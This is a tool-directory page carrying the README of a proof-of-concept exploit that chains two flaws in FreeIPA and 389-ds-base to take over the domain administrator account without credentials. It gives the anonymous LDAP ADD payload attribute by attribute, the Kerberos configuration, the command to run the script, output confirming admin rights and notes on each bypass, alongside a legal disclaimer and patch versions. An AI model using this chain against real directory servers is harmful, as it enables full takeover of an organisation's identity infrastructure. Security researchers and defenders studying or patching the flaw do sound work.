Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/brainbob/cve-2026-76578
Identity ManagementVulnerability AnalysisExploitationPenetration TestingAuthenticationPapers & ResearchRed TeamingLabs & Practice
GitHubbrainbob/cve-2026-76578

CVE-2026-76578

Proof-of-concept exploit for CVE-2026-76578 and CVE-2026-76560, chaining anonymous LDAP ADD with a 389-ds SELFDN bypass to gain FreeIPA domain admin rights.

View Repository
0 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-76578 — FreeIPA Anonymous Admin Takeover

Product: FreeIPA 4.9.x – 4.13.3
Severity: Critical (CVSS 9.8)
Fixed: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)


Legal Notice

This proof-of-concept was developed and executed exclusively within an isolated, privately owned lab environment for the purpose of authorized security research and vulnerability validation.

Before using this script:

  • Use only against systems you own or have been explicitly authorised to test
  • Verify that the target environment and scope match your engagement rules of engagement before execution

The authors accept no liability for misuse. This code is provided for defensive research and authorised penetration testing only.

Note on portability: this script was validated against the specific package versions listed in the Test Environment section below. Behaviour on other OS versions, patch levels, or non-default FreeIPA configurations may differ. Always verify results independently in a controlled environment before drawing conclusions about a production target.


Test Environment

ParameterValue
OSFedora 44 (x86_64)
FreeIPAfreeipa-server-4.13.1-9.fc44
389-ds-base389-ds-base-3.2.0-15.fc44
MIT Kerberoskrb5-libs-1.21.x
RealmTEST.LOCAL
Domaintest.local
Server IP192.168.1.11
Hostnameipa-master.test.local
Attack hostKali Linux (external, no domain membership)

Vulnerability Summary

An unauthenticated LDAP client can add an OTP token entry under cn=otp and obtain full FreeIPA domain administrator rights. Two flaws combine:

CVE-2026-76578 (FreeIPA) — the OTP ADD ACI has no targetattr restriction, so anonymous ADD can include any attribute: krbPrincipalAux, krbCanonicalName, userPassword, krbLastPwdChange, etc.

CVE-2026-76560 (389-ds-base) — the SELFDN evaluator treats "" (empty string) as matching the anonymous bind DN, bypassing the ipatokenOwner#SELFDN ownership check.

Zero-credential key generation

The critical insight — no pre-captured blob, no master key access needed:

Adding objectClass: inetOrgPerson + userPassword to the entry triggers the 389-DS ipapwd plugin which automatically generates krbPrincipalKey server-side, encrypting it with the target realm's krbMKey. The attacker supplies a plaintext password; the server derives the Kerberos key internally.

Setting krbLastPwdChange: 20200101000000Z (past date) in the same ADD bypasses the krbMinPwdLife policy that would otherwise require an interactive password change before kinit succeeds.


CVEs

CVEComponentDescription
CVE-2026-76578FreeIPAOTP ACI lacks targetattr — any attribute passes anonymous ADD
CVE-2026-76560389-ds-base

Attack Chain

root@kitploit:~
Anonymous LDAP ADD (port 389, zero credentials)
  ipatokenOwner: ""              ← CVE-2026-76560: SELFDN "" == anonymous DN
  objectClass: inetOrgPerson     ← enables userPassword attribute
  userPassword: PwnedPass1!      ← CVE-2026-76578: no targetattr restriction
  krbCanonicalName: admin@REALM  ← not in kerberos uniqueness plugin for cn=otp
  krbLastPwdChange: 20200101     ← bypass krbMinPwdLife policy
        ↓
  389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
        ↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
        ↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
        ↓
uid=admin ∈ cn=admins → full domain administrator

Affected Versions


Requirements

root@kitploit:~
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit

/etc/hosts:

root@kitploit:~
<target-ip>  ipa-master.test.local

/etc/krb5.conf — canonicalize = true required for Level 3:

root@kitploit:~
[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL

Usage

root@kitploit:~
python3 poc.py <target_ip> <ipa_hostname> <REALM>

# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL

Results

root@kitploit:~
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained — LEVEL 1 CONFIRMED
      Default principal: [email protected]

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with [email protected] succeeded
  [+] TGT obtained — ticket claims principal: [email protected]
  [+] TGT cname is admin — LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins — real admin rights confirmed

════════════════════════════════════════════════════════════
  CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
  Level 1 — Server-side krbPrincipalKey + TGT    [✓] CONFIRMED
  Level 2 — GSSAPI LDAP / Kerberos auth          [✓] CONFIRMED
  Level 3 — Real admin group membership           [✓] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
════════════════════════════════════════════════════════════

Technical Notes

Why userPassword instead of krbPrincipalKey directly

krbPrincipalKey is encrypted with the target's krbMKey (master key). The master key is stored in LDAP at cn=REALM,cn=kerberos and is readable only by Directory Manager — not anonymously, not by uid=admin via GSSAPI.

Injecting krbPrincipalKey directly is impossible without the master key. Injecting userPassword delegates key generation to the server's ipapwd plugin, which has internal access to krbMKey and performs the encryption transparently. The ACI (CVE-2026-76578) allows userPassword through with no targetattr check.

Why krbCanonicalName collision works

The kerberos uniqueness plugin enforces uniqueness on krbPrincipalName and krbPrincipalAlias across the full suffix, but not on krbCanonicalName. A new entry in cn=otp with krbCanonicalName: admin@REALM does not conflict with the real admin principal.

With canonicalize = true on the client, kinit attacker@REALM retrieves the entry by krbPrincipalName, but the KDC issues the TGT with cname = krbCanonicalName = admin@REALM. GSSAPI resolves this to the real uid=admin DN — already a legitimate member of cn=admins. No group modification is performed.

krbMinPwdLife bypass

When userPassword is added, ipapwd sets krbPasswordExpiration to now (expired) and krbLastPwdChange to now. With default krbMinPwdLife = 3600s, kinit would prompt for a password change before issuing a TGT.

Setting krbLastPwdChange: 20200101000000Z in the original ADD overrides the plugin value to six years in the past, satisfying the minimum lifetime check. krbPasswordExpiration: 20990101000000Z prevents the expiry prompt. Both attributes are accepted because the OTP ACI has no targetattr restriction.


Lab Setup

To deploy a vulnerable FreeIPA instance on a fresh VM:

root@kitploit:~
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]

# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123

Fix

root@kitploit:~
dnf update freeipa-server   # → 4.13.4
dnf update 389-ds-base      # → 3.2.0-10.el10_2 (RHEL 10)

FreeIPA 4.13.4 adds an explicit targetattr allowlist to the OTP ACI, blocking anonymous injection of userPassword, krbPrincipalAux, krbPrincipalKey, and krbCanonicalName.

389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject "" as a matching DN for anonymous binds.

Both fixes are required independently — either alone reduces but does not eliminate the attack surface.

Download Tool
SELFDN evaluator accepts "" as anonymous bind DN
ComponentVulnerableFixed
FreeIPA4.9.x – 4.13.34.13.4
389-ds-base (RHEL 10)< 3.2.0-10.el10_23.2.0-10.el10_2 (RHSA-2026:64785)
389-ds-base (RHEL 9)< patched buildsee corresponding advisory
389-ds-base (Fedora 44)3.2.0-15.fc44not patched at time of testing